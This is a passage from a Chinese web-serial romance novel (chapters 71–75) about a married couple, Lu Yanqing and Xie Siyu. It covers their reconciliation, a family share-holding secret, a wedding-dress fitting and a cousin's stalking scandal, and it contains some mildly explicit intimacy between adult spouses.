陆言卿背脊僵硬了一瞬,几息后深呼吸:“我们不离婚。” 终于妥协一般含住谢思虞微颤的唇珠,舌尖抵开齿关的力度却放得极缓,像拆开珍藏多年的礼物。 谢思虞被这样珍而重之的对待惹得眼眶发酸,环在陆言卿颈后的手滑进细软发丝间。 郑重地“嗯”了一声。 她们不离婚。 一辈子都要在一起。 手机提示音在牛仔裤口袋里响起时两人都僵了瞬。 谢思虞呼吸有点喘,怕有急事,还是解锁了屏幕看微信。 【小鱼啊,你是不是对自己有什么误解?离婚怎么了?我身边温柔体贴,善解人意的小姐姐多了去了,你来N市我带你玩,保证你乐不思蜀。】 【离婚了姐妹养你,不怕啊。】 陆言卿额头抵着谢思虞,垂眸瞥见屏幕上方对话框里“离婚”“小姐姐”“我养你”等字眼,目光又暗了几分。 “是月怡乱说的……” 谢思虞看完内容也心虚不已,急忙把手机背在身后。 话音未落就被陆言卿揽住腰肢,天旋地转间整个人陷入了柔软的床褥中。 陆言卿手臂撑在谢思虞两侧,心烦意乱地蹙起眉:“差点忘记了,谢小姐有温月怡那样权势滔天的好朋友。” “跟我离婚,很快就能找到温柔漂亮的小姐姐。” 刻意疏离的称呼裹着酸涩,低头咬上谢思虞锁骨的动作明显透着委屈。 她和温月怡关系是有多亲近,连离婚这样的事都要告知! “唔……卿卿轻点咬,我疼。” 谢思虞吃痛轻哼,手指温柔地揉捏陆言卿后颈的软肉,似安抚,又似轻哄。 “只要你。” 不会再有别人。 谢思虞心软得一塌糊涂,仰头去亲陆言卿的嘴角,看到她泛红的眼尾时心脏闷闷的疼,“上午你说要出去透气,都不愿意当面告诉我,我以为……” 尾音被骤然的亲吻截断,陆言卿泄了力趴在她身上,额头抵着额头轻喘:“所以你以为我不要你了?” 床头的加湿器吐出白雾,橙花的香气在空气中弥漫。 谢思虞鼻尖蹭过陆言卿的脸颊,手指细细描摹她眉骨轮廓:“是我犯蠢。” 陆言卿突然翻身将人整个拢进怀里,下巴抵着妻子发顶闷声道:“以后吵架不准说离婚。” 环在腰间的手臂收得太紧,谢思虞却觉得安心,侧脸贴着她心跳的位置点头:“好。” 妻子身上的真丝衬衫被蹭得起了褶,陆言卿有一下没一下地抚平那些褶皱,指尖不经意擦过她的腰窝。 谢思虞蜷在熟悉的怀抱里,听着逐渐平稳的心跳声,忽然想起什么似的仰头:“卿卿咬人越来越疼了。” 回应她的是落在颈侧极轻的吮吻,陆言卿拇指抚过方才她留下的浅淡红痕:“活该。” 声音软得毫无威慑力,手指诚实地替她整理凌乱的衣领。 谢思虞眉眼弯弯,趁机凑上去啄她的唇角:“嗯,是我活该。” “别以为这事过去了。” 陆言卿说话语气还带着未消的恼意。 谢思虞怔了怔:“那卿卿怎样才能原谅我?” 真丝材质的衬衫有了褶皱,手指根本不可能将其抚平。 陆言卿好不容易压下去的欲-念,在看到妻子潋滟温柔的眸子时,心神荡漾,脱口而出:“我想要阿虞,现在,在这里可以吗?” 谢思虞猛地僵住,好半晌才点点头:“可,可以。” 忍是不可能忍的。 陆言卿笑着去碰谢思虞发烫的耳垂,一颗一颗解开她的衬衫纽扣,黏黏糊糊的目光落在对方身上,好似要将她这幅妩媚动人的模样刻在脑海里。 之后,两人躺在柔软的大床上,相互舔舐,相互厮磨,很快都变得湿漉漉的。 尤其是谢思虞,宛若水做的一般。 她在情动的时候,说话声音更娇软,更轻柔。 陆言卿毫无抵挡力,也喜欢把妻子弄哭,她喜欢妻子因她彻底绽放的模样。 第72章 我们今晚怕是走不出这栋楼。 黄昏将近, 暖黄色的阳光透过百叶窗洒进房间,空气中弥漫着淡淡的橙花熏香。 休息室的床上,两个小时过去, 床单已经换了新的。 谢思虞洗漱过后,换了件黑色吊带长裙,身上哪哪都酸, 软趴趴地被陆言卿搂在怀里。 她的锁骨,胸前的柔软, 小腹,甚至是大腿内侧,都留下了甜蜜的印记。 “阿虞饿不饿?晚上想吃什么?” 陆言卿指尖勾起谢思虞肩头一缕长发, 漫不经心询问, 目光幽幽,望着洗手间紧闭的磨砂玻璃门, 不知道在想什么。 「可以了,可以了……卿卿,真的够了,我真的知道错了,放过我好不好?或者我们回家再要?」 要不是某人在她怀里哭着求饶,嗓音娇软又妩媚,无助又委屈, 双眼涟涟,她才不会轻易放过她。 谢思虞稍稍退离陆言卿的怀抱, 脸贴进她的颈窝, 轻柔说:“我不想吃东西, 想回家。” 这里毕竟是办公室。 她从未想过有一天会和陆言卿在办公室厮磨缠绵。 在床上也有罢了。 这人竟然抱着她去落地窗前,虽说玻璃是单面的, 外面看不到里面,可她们能看清外面的景色呀。 一想到她被陆言卿抵在落地窗玻璃前,那人掐着她的腰肢,不顾她的反对,低头亲吻她的小腹。 那种窒息的痉挛感瞬间席卷全身,犹如踩在钢丝绳上,恐惧又刺激。 谢思虞不敢再细想,指尖揪着陆言卿身上的衬衫衣摆,感觉到腰后的手掌还在不安分地磨挲。 她终于红着脸按住那只手,再次开口:“我们回家好不好?” 陆言卿低头鼻尖蹭过谢思虞颈间的皮肤,温热的呼吸扫过,她整个人都控制不住轻颤。 估计是真的怕了。 没忍住低笑出声,伸手将谢思虞凌乱的发丝别到耳后,揶揄:“怕被清洁阿姨发现?” 余光扫向地毯上的床单。 “卿卿……” “好,我不说。我就是要阿虞永远记住今天,我们不可能离婚的,除非——你真的不爱我了。” “我爱你,不会有那么一天的。” “好啊。” 陆言卿眯了眯眼睛,也不知道信没信,总之不再闹她,摸到床头柜上的遥控器关了空调,坐起身穿拖鞋。 谢思虞复杂隐忍的目光,一瞬不瞬盯着陆言卿,想说从来没有什么初恋,终究还是算了。 起身动作太急,肩带从肩头滑落,她慌忙抓住滑到肘弯的吊带,垂眸瞥见锁骨上的红痕,耳尖都要烧起来。 休息室衣柜的衣服不多,只有三套,陆言卿身上穿的是衬衫和直筒西裤。 取下衣架上的七分袖米色西装,最下层躺着谢思虞备用的白色平底鞋。 “阿虞坐过来。” 陆言卿等人挪到床边,把西装外套披在谢思虞肩上,又蹲下身来,轻轻握住她的脚踝,“等会我背你下楼。” 乖乖“嗯”了声,谢思虞没有拒绝,因为她的双腿确实酸软难受,突然被陆言卿握住脚踝,脚趾下意识蜷缩起来。 “别动。” 陆言卿轻轻托着谢思虞足跟,拇指蹭过她脚后跟被高跟鞋磨红的印子,“在办公室可以穿舒适柔软的平底鞋。” 语气很轻带着关心。 谢思虞低着头,看着陆言卿右耳旁边因侧睡而翘起的碎发,目光温柔,伸手帮她整理了下。 “好,卿卿说的话我都记住了。明天开始,到办公室第一件事就是换舒适的平底鞋。” 陆言卿仰头撞进谢思虞含笑的眼眸里,窗外照进房间的暮色在她侧脸镀上一层柔软的光晕。 突然伸手把人拽进怀里,额头抵着她额头轻叹:“阿虞再对我露出这样的笑容……我们今晚怕是走不出这栋楼。” 最终是陆言卿背着谢思虞走出了副总办公室的门。 谢思虞第一次在“清醒”的状态下被陆言卿背着,手臂虚虚搂着她的脖子,脸贴在后颈处,嗅到她身上淡淡的山茶花清香。 电梯镜面映出两人交叠的身影,她又弯了弯眉。 此刻是发自内心的开心,压在心上的重石也不见了,曾经她因为“不光彩”的手段,一直担惊受怕,生怕哪天陆言卿知道真相就要跟她离婚。 “十四层到了。” 机械女声响起时,谢思虞正在回忆往事。 电梯门打开瞬间涌进的冷气让她本能抱紧了陆言卿,抬眼刚好对上沈砚清戏谑的目光。 沈总监手里还拿着没喝完的拿铁,视线扫过陆言卿颈侧的抓痕,最后落在谢思虞湿润的发梢:“听说32楼今天提前锁了楼层?” 她故意晃了晃手机,屏幕上是两小时前行政部群发的通知。 谢思虞不想搭理八卦的沈砚清,把脸埋进陆言卿肩窝。 陆言卿勾唇笑了笑,颠了颠背上快要滑下去的人,面不改色开口:“沈总监就不要打趣阿虞了,她害羞。” “害羞?那她还由着陆总胡作非为?” 沈砚清刻意咬重了胡作非为四个字,扫了眼电梯壁上亮着的B1键,站着没动,喝了口杯子里的咖啡。 她又不瞎,也不是没看到好友泛红的耳尖,“不过建议下次换个地方……” 她故意拖长音调,满意地看着谢思虞连脖颈都漫上绯色,“在办公室终究是影响不好。” 电梯向下运行,镜面映出三人的身影。 “锁楼只是因为阿虞在睡觉,我不想她被外人打扰而已,沈总监想多了。” 陆言卿随口找了个借口,也不管沈砚清信不信。 突然想到温月怡给妻子发的微信,深邃的目光再次落在沈砚清身上:“沈总监是阿虞的朋友,改天一起吃个饭?” “没问题,我哪天都能赴约。” 沈砚清挑眉看着这对妻妻自欺欺人的模样,忍不住啧啧出声,从包里掏出粉饼盒递给谢思虞:“补补妆,你口红都蹭到她领子上了。” 谢思虞微怔,注意到陆言卿雪纺衬衫领口那抹樱桃色,羞得拍她肩膀:“卿卿快放我下来。” 尽管她说了不饿,陆言卿还是决定带她去餐厅吃饭,主要担心她空腹太久,胃又难受。 所以她在休息室的洗手间里重新化了淡妆。 挣扎间平底鞋蹭过电梯壁,陆言卿连忙托住谢思虞的腿弯:“别乱动。” 转头对看戏的沈砚清眯起眼睛,“销售部要招聘实习生……” “得得得,我闭嘴。” 沈砚清举手投降,在嘴巴前做了个拉链的动作。 她不说了还不行吗? 电梯很快抵达负一楼地下车库。 沈砚清率先走出电梯,想到什么又回头看向陆言卿和谢思虞,十分认真道:“见你们没事,我也就放心了。” 上午听完好友的“解释”,她也吓得不轻,换位思考,要是她被女友这般算计欺骗,哪怕和好了,心里头也会留下疙瘩。 眼下陆言卿还是一如既往“维护”好友,她悬着的心也能放下了。 “走了,想好哪天聚餐,在微信上跟我说一声就行。” 说罢踩着高跟鞋翩然离去,留了串清脆的回响。 几分钟后。 陆言卿把谢思虞轻轻放进副驾驶,贴心帮她扣好安全带。 谢思虞顺势抓住某人的手腕:“衣领上有口红印……” 声音细若蚊呐。 陆言卿低头扫了眼领口处那抹暧昧的红痕,不以为然:“我又不介意,再说了,阿虞是我领证的妻子,就算被旁人看见又如何?” 晚风灌进车窗,吹散车内的旖旎,陆言卿驱车离开地下车库。 谢思虞蜷在座椅里看后视镜中的写字楼,32楼某个窗口好像还亮着微光。 她伸手勾住陆言卿放在方向盘上的小指:“明天……把休息间的窗帘换成遮光布吧?” 路口红灯亮起,陆言卿停稳车辆,握住谢思虞的手和她十指相扣,戏谑道:“不如直接换成防窥玻璃?” 谢思虞轻哼,把头转向另一边,她就知道欺负她。 “好好好,换遮光布,都听阿虞的,阿虞想换什么就换什么。” 红灯倒计时结束,陆言卿笑着亲了亲谢思虞的手背,松开她才启动车辆。 霓虹灯影掠过车窗,陆言卿两只手都放在方向盘上,左手无名指婚戒在夜色中闪着微光。 谢思虞解锁手机屏幕,打开日历,深思熟虑后开口:“是我考虑不周,应该早点跟卿卿介绍砚清,吃饭时间定在下周五?” 陆言卿没有意见:“你安排就好。” 谢思虞退出日历,打开微信,突然看到员工群里的行政主管发的通知,脸又染上红晕:“大家肯定在背地里议论我们。” 余光瞥了眼谢思虞的手机,猜到她说什么,陆言卿面不改色地打转向灯:“议论就议论呗~” 说完自己也绷不住笑起来,等红灯的间隙伸手捏了捏谢思虞的鼻尖:“陆太太不要害羞,我们做什么都是合法的。” 谢思虞把手机塞进包包里,眼不见为净,双手捂着脸哼哼,羞死人,她没脸见人了。 可陆太太三个字从陆言卿嘴里说出来,又透着说不出的缱绻。 是啊,她们是合法妻妻。 做什么都是名正言顺的。 第73章 不,更准确来说是吃醋。 周日傍晚。 霞光染红了老宅的琉璃瓦, 陆言卿带着妻子回老宅看望祖父祖母。 二楼书房。 陆言卿看着祖父往紫砂壶里添水,直接开门见山:“爷爷,三年前您让阿虞担任集团总裁, 还有什么事瞒着我?” 祖父是只老狐狸,就算阿虞替他解决了N市商城推进的大麻烦,就算阿虞是她领证的妻子, 他也不可能轻易把集团的执行权交给一个“外人”。 陆崇山被孙女盯着,佯装咳嗽起来, 又端起桌上的茶杯喝茶:“你和思虞把事情都说清楚了?” “爷爷,您不要转移话题。” 今天她非弄清楚事情原委不可,陆言卿捏着茶杯转圈, 釉面在夕阳下泛着光, “这几年二叔对阿虞诸多不满,半年前曾在董事会上控诉阿虞挪动公款, 您当场摔了茶杯,连“证据”都没看,就相信阿虞是无辜的。” 这件事是她询问魏洁得知。 祖父生性多疑,他这般信任一个人,就足以说明问题。 陆崇山颇为无奈,只能从保险柜里拿出一份合同,交给孙女:“你自己看吧。” 当年孙女出国后就音信全无, 不得已他只能让谢思虞担任集团总裁,又怕董事会成员不赞同, 所以明面上转给她15%的股份。 管理偌大的集团, 费心又费力, 还有言卿二叔虎视眈眈,可以说这是一桩赔本的买卖。 但谢思虞答应了。 现在他都记得, 那天在信托中心女孩说的话:我会把集团打理好,等卿卿回来。 陆言卿翻到合同第九页时呼吸变重——股权代持协议右下角,谢思虞的签名力透纸背,日期是她三年前离开的第二个月。 难怪祖父让她拿回集团执行权时,坚持要转让4%的股份给阿虞。 因为自始至终,阿虞拥有的也仅有这4%而已。 陆言卿用力攥紧手上的合同,抬眸看向茶台对面的老人,嗓音颤抖的质问:“所以这三年她都在免费给我打工?” “也不能这样说……” 陆崇山心虚碰翻了茶盏,紫檀桌面漫开深色的水痕。 一开始他就把利益得失同谢思虞说清楚了,她心甘情愿在合同上签字的。 事实也说明他没有看错人。 三年来,陆氏集团在谢思虞的管理下更上一层楼了。 “您应该早点告诉我的。” 陆言卿一想到“回国”在谢思虞眼底看到的黛青,还有她胃疼吞药片的画面,心脏就揪疼得厉害。 她怎么那么傻? 陆崇山重重地叹息,拎起茶壶,滚烫的水浇在茶宠上腾起白雾。 “你和思虞领证第二天就出国,拒绝跟家里人联系,不就是怨我?不就是不满两家的联姻?” “我……” “别拿什么收购案糊弄我,我压根儿就不信,思虞是个好孩子,我和你祖母都很喜欢她。原本我想的是,你要是真不喜欢她,那你们就离婚,我收她当干孙女。” 陆言卿被祖父怼的哑口无言,她就说老头子那般精明,才不会轻易相信妻子临时找的借口。 可穿越时空这种事,又让她怎么说? “好在你不笨,发现了思虞的好。” 陆崇山没忍住瞪了孙女一眼,他年龄大了,也没多少日子可活,能见到孙女和谢思虞相亲相爱,他无疑是欣慰的。 十分钟后。 陆言卿在院子葡萄架下面找到谢思虞,她坐在石凳上剥葡萄,桌上瓷白的碗里已经装了不少。 把文件袋放在石桌上,弯腰从后面抱住她,抓起对方沾着葡萄汁水的手,指尖黏腻的触感让人眼眶发酸。 “为什么要嫁给我?” 不止是股权代持协议,就连家族信托文件,三年前谢思虞就把所有权益转成了她的个人保险金 。 “陆爷爷说感情需要质押品。” 谢思虞并没有直接回答这个问题,余光瞥向桌上的文件袋,猜到什么,她莞尔一笑,把手中剥皮的葡萄喂给陆言卿。 眼中溢满温柔和爱意,“我的全部身家性命,够不够当爱卿卿的保证金?” 剥好的葡萄递到嘴边,陆言卿就着谢思虞的手,含住那颗晶莹剔透的果肉。 很甜,可她心里却异常苦涩。 收紧双臂,她埋头在谢思虞颈脖里,嗓音又闷又哑:“你是我见过最傻的人。” 思绪混乱,又心疼至极的陆言卿根本没仔细听谢思虞的话,要是她足够理智清醒。 定能第一时间反应过来。 妻子口中对她的爱,在三年前签股权代持协议时就有了。 谢思虞勾唇笑了笑,抽出纸巾擦干净手,这才揉了揉陆言卿的头发:“卿卿,我不傻,因为我知道自己要的是什么。” 忽然想起来一件往事,她拉着陆言卿在旁边的石凳上坐下,帮她理顺肩头凌乱的头发。 笑着说:“当年和陆爷爷签约那晚,我在信托中心坐到凌晨三点。” 指腹擦拭掉陆言卿眼角溢出的泪水,无奈又心疼,“公证员问我是不是被胁迫的。” 陆言卿反手握住谢思虞的手,问她:“然后呢?” “我说我甘之如饴,因为……” 夜风掀起她耳后的碎发,谢思虞抬眸望进陆言卿眼底,嗓音温柔又坚定,“我在等我的月亮回来。” 陆言卿心脏猛地一跳,明明是一句再寻常不过的情话,却在她心湖掀起骇浪惊涛。 下一秒把人拽进怀里,很紧很紧。 她听到自己低声说:“明天去趟律所,把我的股权……” 话没说完就被吻住。 妻子的唇瓣沾着葡萄汁,甜得腻人。 谢思虞不知何时从陆言卿怀里抬起头来,她微微仰头,爱怜地亲了亲她的唇:“不需要。” “你平安回来,对我而言就是最好的质押。” 祖父有句话说得没错,她真的足够幸运,才能遇到这般好的谢思虞。 陆言卿右手托着谢思虞的后颈,再次覆上对方娇嫩柔软的唇瓣。 这个吻持续了很久很久。 仿佛要到天荒地老,天边最后一丝夕阳消失,暮色四合,院子里感应灯亮起。 将两人暧昧交叠的影子拉长。 情动时摸到谢思虞锁骨处的烫伤伤疤,想起那晚她风轻云淡的坦白,陆言卿“清醒”过来,温柔又克制地吻了吻妻子的鼻尖:“以后不许这般委屈自己。” 谢思虞年幼时在谢家过的并不好,如今她成为她的妻子,她定要给她全世界最好的——宠爱。 “当年阿虞签合同的时候……” 陆言卿抱着谢思虞平复内心的躁动,手指无意识地在她掌心画圈,想到什么停顿了几秒,食指勾着她的小拇指,又很轻很轻的问,“怕过吗?” 怕我永远回不来。 谢思虞把两人交握的手按在胸口,脸埋进陆言卿带着山茶花香的衣领,实话实说:“怕啊。” “幸好老天怜悯我,把卿卿重新送回我的身边。” 深夜离院时,谢思虞把脸埋在陆言卿颈窝打哈欠。 她们坐在宾利车后排,今天是刘燕开车回江海澜苑。 “阿虞的手机响了。” 陆言卿听到谢思虞包里的手机在响,轻轻拍了拍她的手背提醒。 其实也不怪妻子想睡觉了,昨晚她们在餐厅吃完饭回家,她在浴室又闹了她许久,凌晨一点才上床睡觉。 “卿卿帮我看。” 谢思虞侧头靠在陆言卿肩头,困的眼睛都睁不开,“锁屏密码是我们领证的日子。” 陆言卿闻言眼中闪过柔软,左手搂着谢思虞的肩膀,右手去拿她包里的手机。 领证时间:210321. 陆言卿输入6位数字,手机成功解锁,只是看到微信上某人发来的信息,不知不觉抿紧了唇瓣。 【小鱼,小鱼,你跟陆言卿签离婚协议了吗?】 【要不要我安排直升机来接你?我堂姐,就是之前跟你说过的温月晗,她知道你要离婚可高兴了。】 【要是你不能来N市,堂姐说她要来榕城追你。】 她竟然不知道温家大小姐还兼职红娘! 那个什么温月晗还要来榕城追阿虞? 陆言卿气笑了,温柔端庄的涵养扔到一边,大拇指摁住屏幕下方的按钮,开口嗓音清冽:“我和阿虞不离婚,更不劳烦温小姐给我妻子介绍对象!” 是有点生气的。 不,更准确来说是吃醋。 原本还昏昏欲睡的谢思虞听到陆言卿清冷的声音,顿时睡意全无,急忙坐直身体。 从她手中抢回手机,看到聊天页面好友发来的内容,无奈扶额。 “卿卿不要误会,月怡胡说八道的。” 【抱歉啊月怡,昨天忘记告诉你,我和卿卿把误会解开了,我们不离婚。】 “温月晗是谁?” 陆言卿双手抱胸,声音轻淡。 谢思虞见陆言卿这幅轻描淡写的模样,心更是往下沉了沉。 很多时候,她笑的时候代表更生气。 手机再次递给陆言卿:“她是月怡的堂姐,更多的我就不知道了。” 陆言卿挑眉:“真的?” 谢思虞眼神清明,透着点无奈:“真的,我只喜欢卿卿。” 以前是,现在是,将来也是。 陆言卿喉咙发紧,重新把人捞回怀里,低头在谢思虞唇上重重地亲了口。 又凑到她耳边:“阿虞不许喜欢别人。” 第74章 打算靠老婆? 进入六月的榕城愈发炎热, 阳光穿过梧桐叶隙,照射到工作室内。 今天周五,正好董欣悦出差提前回来, 陆言卿便带谢思虞过来试穿婚纱。 第三次调整妻子的头纱,夕阳的余晖在鱼尾裙摆的蔷薇刺绣上投下镂空花影。 “言卿姐再检查下去,天黑都试不完五套了。” 董欣悦笑着将软尺绕在谢思虞腰间, “尺寸完全合适,您到底在挑什么毛病?” 陆言卿不说话, 只是低头帮谢思虞系好背后的珍珠扣。 之前她们在A市云镜湖游玩,在网红打卡点撞见有人拍婚纱照,妻子不经意间说婚纱裙摆像月光般流淌很漂亮。 这句话她一直记在心里, 同董欣悦商量婚纱裙摆细节时, 她特意提了这点,此刻三千颗米粒珠正随着谢思虞的动作泛起涟漪。 “转过来。” 她哑着嗓子说。 谢思虞提着裙摆缓缓转身, 头纱上的水晶折射出细碎的光斑。 露背设计让蝴蝶骨在薄纱下若隐若现。 “阿虞,你好美。” 陆言卿伸手将人揽进怀里,淡淡的橙花香萦绕在鼻尖,勾的她心神荡漾。 董欣悦和杨云还没来得及转身,就看到陆总低头含住了谢小姐的唇珠。 杨云手里的针啪嗒掉在地上,激动地眨眨眼,并且用手肘碰董欣悦。 挤眉弄眼表示:陆总也太爱了吧? 董欣悦当然知道陆言卿和谢思虞感情好, 可……想到好友多年的暗恋,一时不知道该说什么好。 谢思虞耳尖泛红推了推陆言卿:“卿卿别……” 然话还没有说完就被扣住后脑加深了这个吻。 阳光把她们的影子投在镜面墙上, 像两株交缠的藤蔓。 陶菀之推开工作室的门走进来, 被员工告知董欣悦在楼上。 6月初, 高考迎来倒计时,要不是她感冒发烧, 教导主任也不会强行让她休假。 退烧药让她视线有些模糊,但楼梯转角镜子里映出的画面却清晰得刺眼。 谢思虞雪白的头纱缠在陆言卿腕间,那人的指尖正抚过婚纱上的蔷薇花瓣。 陆言卿牵着谢思虞的手,指腹轻轻磨挲她的手背,柔声问:“阿虞喜欢吗?” 谢思虞看着镜子中的自己,尤其旁边还站着陆言卿,只觉得这一切梦幻的不真实。 因为刚才的亲吻,她脸颊烫烫的,不自然地摸了摸耳尖:“很喜欢,董小姐设计的婚纱无可挑剔。” 董欣悦作为婚纱设计师,每每得到新娘的认同和赞美,自是高兴又骄傲。 快速整理好情绪,脸上露出温柔的笑容来:“那思虞姐,我们继续试穿剩下的两套。” 谢思虞在董欣悦和杨云的帮助下进入换衣间,陆言卿察觉到什么,转头看向楼梯口,并未看到人。 在诊所输完两瓶药水,陶菀之没有上午那般难受,可当下心脏也闷闷的疼。 看到这一幕她深呼吸了几口气,在陆言卿看过来的瞬间,急忙转身往楼下走。 有些人错过了就是错过了,她必须坦然接受。 “陶老师怎么走了?她不是上楼找欣悦的?” 工作室员工看到陶菀之离开,手里还端着给她倒的温水。 坐在电脑前的女生朝门口看了眼,又歪头看向楼梯方向。 她倒是知道原因,不过也是之前无意间听到陶菀之和董欣悦对话,况且这是人家的私事,她没拿出来说。 “或许是有事?” 陶老师喜欢陆言卿,但人家已经结婚了,和妻子还那般恩爱。 女生悻悻然摇头,陶老师知书达理,温柔娴静一个人,喜欢的人结婚了,她大概也唯有祝福。 怎会给对方添麻烦呢? 陶菀之来工作室,又悄无声息离开,董欣悦也是事后才得知,除了心疼还是心疼- 原本谢思虞试完婚纱,她们约了沈砚清吃晚饭,结果暴雨突然来袭,而且陆言卿还接到了祖父的电话,说陆言昭在N市出事了。 不得已,只能取消晚上的聚餐。 晚上9点,江海澜苑。 雨水斜斜掠过落地窗,谢思虞裹着披肩蜷在沙发里,正低头看平板,上面是市场部交上来最新版方案。 关于陆言昭要邀请【桦悦】女装进驻商城一事,此前她并未插手,陆言卿也是全然放任的态度。 谁知道他去一趟N市,就能惹出天大的祸事来? 书房,陆言卿结束和魏洁的通话,将事情的来龙去脉弄清楚,她不知道在心里骂了陆言昭几次蠢货。 她就不该对他抱有一丝幻想。 冷着脸从书房出来,刚到餐厅倒了杯温水。 “叮咚——” 电子门铃在雨夜突兀响起。 陆言卿走到玄关,看到监控屏里的身影,玻璃杯的水晃出细微波纹。 屏幕上二婶满脸焦急,鬓角发丝被雨水粘在发红的脸颊上,好不狼狈。 “言卿啊——” 陆言卿打开门,门刚开条缝,带着清冷的水汽就扑进来。 二婶陈雅攥住她手腕的力道大得惊人,“你堂哥腿还打着石膏躺在医院,那姓姜的女人简直欺人太甚!” 谢思虞无声无息出现在陆言卿身后,听到二婶咋咋呼呼的声音,眼底闪过无奈。 要不是她们知道实情,估计要被二婶这幅焦急悲痛的模样欺骗。 她接过陆言卿手里的玻璃杯塞进二婶掌心,嗓音轻柔带着安抚的意味:“您慢慢说。” 陆言昭惹出的祸事要追溯到三周前。 【桦悦】总部顶层的总经理办公室,姜雁第六次划掉行程表上陆氏集团的邀约。 助理捧着文件欲言又止:“那位陆先生又来公司了……” “直接让保安请出去。” 助理叹息:“他根本不按常理出牌,又是代表陆氏集团邀约,保安总不能真的打他一顿。” 姜雁的耐心已经磨完了:“报警处理。” 电梯数字不断攀升,陆言昭正对着反光镜调整领带。 他特意选了一套宝蓝西装,一副势在必得的模样,却不知姜雁的助理已经调出他连续5天尾随姜雁的记录。 十分钟后,警笛声在【桦悦】大厦前响起。 “他说是商业洽谈。” 做笔录的警察对同事摇摇头,翻着监控截图,“姜女士提供的行车记录仪显示,陆言昭的车上周三跟到枫林公寓,周四出现在美容院停车场……” “这是骚扰,” 姜雁的代理律师推了推金丝眼镜,态度强硬且不容置疑,“我们不接受调解。” 因为姜雁报警,陆言昭在派出所待了一夜,他哪里受过这种窝囊气? 气不过找到姜雁的公寓,怒砸人家的车,最后被保镖打断一条腿。 今天下午回的榕城。 陆言昭躺在华康私立医院VIP病房的床上刷热搜#桦悦总经理故意伤人#的词条,石膏腿吊得老高,并囔囔着:“告诉【桦悦】公关部经理,不同意合作,我就让姜雁吃牢饭!” 客厅。 陆言卿听到二婶偏袒自己儿子说颠倒黑白的话,眉头越拧越紧,当她跟祖母一样耳根子软? 要不是二婶只是嘴碎,没有心眼,今晚她不会开门。 陆言卿复杂的目光看向陈雅:“二婶,您说这话自己信吗?堂哥跟踪到人家家里,这不是脑子有病?” 陈雅不想听这些,她只知道儿子被人打断了腿:“就算你堂哥做法有点偏激,可他也是为了集团好,你必须要帮他。” 谢思虞脸色变得难看起来,卿卿为什么必须帮? 正要说话,茶几上手机震动起来。 【小鱼,雁表姐刚来电话,陆言昭那个蠢货居然买热搜诽谤,他断的是腿,脑子也坏掉了?】 【这件事你不许插手。】 谢思虞洗漱过了,她穿着睡衣裤,拢了拢肩上的披肩,凑到陆言卿耳边压低了声音,并且把手机屏幕递过去:“陆言昭买热搜,月怡那边……” 二婶瞪了眼谢思虞,音量突然拔高打断她们的窃窃私语:“言卿!那可是你亲堂哥!” 谢思虞轻笑一声,指尖挤进陆言卿指缝,和她十指紧扣。 她虽素面朝天,但骨相生得美,笑起来像暗夜里绽放的蔷薇:“二婶,陆言昭跟踪恐吓在先,现在反咬姜总故意伤害。” “您不要听信他的一面之词,我这里有监控录像,您要不看看再说?” 陆言卿握紧妻子的手,低头缄默不语,两个小时前祖父给她打电话,让她自己决定要不要插手此事。 平板屏幕亮起,温月怡传来姜雁保镖的行车记录——画面里陆言昭正用高尔夫球杆砸向姜雁的迈巴赫。 “需要我提醒您吗?” 谢思虞看向脸色苍白的二婶,“故意损坏财物超过五万就能立案,更别说姜总车里有未公开的秋冬高定样衣。” 窗外的雨还在继续,并伴随有轰隆的雷声。 陈雅死死盯着平板,脸色惨白,扶着沙发扶手踉跄地站起身,半晌才转身往玄关走,丈夫就不同意她来找陆言卿,可那是她的儿子。 她总要做点什么。 “二婶回去让堂哥把热搜撤了。” 年幼时母亲不在身边,二婶到老宅看望两位老人,偶尔会给她带零食。 小学五年级下半期,二婶还替父亲出席了她的家长会。 陆言卿闭了闭眼,还是开口,“并且说服他撤诉,我保证姜总不会追究他损坏样衣的责任。” 谢思虞挑眉。 她的小月亮终究还是心软了,哪怕陆言昭把陆氏的脸面扔在地上踩。 等二婶离开公寓。 她下巴搁在陆言卿肩头,温热呼吸贴近她的耳畔:“卿卿打算如何说服姜总?” “靠老婆?” 第75章 只能被迫接受“惩罚” 窗外的雨还在继续, 雨点噼里啪啦砸在落地窗上,连带着屋内气氛也变得微妙起来。 谢思虞靠在陆言卿身上,一时没反应过来, 茫然歪头,发梢扫过她锁骨处的肌肤:“什么靠老婆?” 陆言卿笑而不语。 只是把妻子压进柔软的沙发里。 谢思虞曲起膝盖顶了顶陆言卿的腰窝,又扯了扯对方早就被她揉得皱巴巴的衬衫:“卿卿说话。” 陆言卿趴在谢思虞身上, 偏头吮吸含咬她的耳垂,漫不经心开口:“我的老婆不就是阿虞?” “姜总是温小姐的表姐, 阿虞和温小姐又是很要好的朋友,解决这件事不是轻而易举?” 谢思虞要是这种时候都没能听出陆言卿在说反话,那她就跟陆言昭一样愚蠢。 双手捧着陆言卿的脸颊, 两人四目相对, 她抵着她额头问:“吃醋了?” “没有。” 陆言卿闷声否认,手指却钻进谢思虞睡衣下摆, 在她腰侧忽轻忽重的揉-弄。 “卿卿……” 谢思虞哭笑不得往旁边躲,可她被陆言卿压着,沙发空间有限,她又能躲到哪里去? 只能被迫接受“惩罚”。 腰侧那块的肌肤本就敏感,不过须臾她就缴械投降,隔着睡衣摁住某人隐隐往上游走的手求饶:“卿卿没有吃醋,是我措辞有问题。” 很快又认真交代, 这次连称呼都换了,“我和温月怡真的只是朋友, 三年前她愿意倾囊相助, 是因为我也曾不遗余力帮过她。” 陆言卿回到公寓一直在忙, 还没来得及洗漱。 身上穿着雾蓝色的衬衫,她稍稍直起腰, “居高临下”看着谢思虞,见她眼睛里浸染上细碎的水光。 心里悸动的厉害。 又低头轻啄她的唇瓣,吃醋说不上,无非有些介意。 介意谢思虞和温月怡的闺蜜情。 “阿虞说这些做什么?觉得我在无理取闹?” 谢思虞愣了两秒,突然翻身把人压住,长发垂落在陆言卿锁骨,她低头咬了口她的下唇:“我要是没记错,今年卿卿是28岁,而不是18岁?” 陆言卿目光透着委屈,扣住谢思虞的后颈往下按,鼻尖相抵时轻声说:“阿虞是说我幼稚?” 谢思虞:“我没有……” 确实有种哑巴吃黄连的感觉,她没想到陆言卿吃醋是这般模样。 幼稚,还不讲理。 她和温月怡的事情也不是不能说,沉思几秒打算长话短说,被她随手放在茶几上的平板弹出视频请求。 “阿虞为什么不接视频?是温小姐呢。” 原来卿卿也是懂阴阳怪气的。 谢思虞眨眨眼,窝在陆言卿怀里没动,她怕自己接听了视频,今晚又要凌晨才能睡觉。 “那我帮阿虞接吧。” 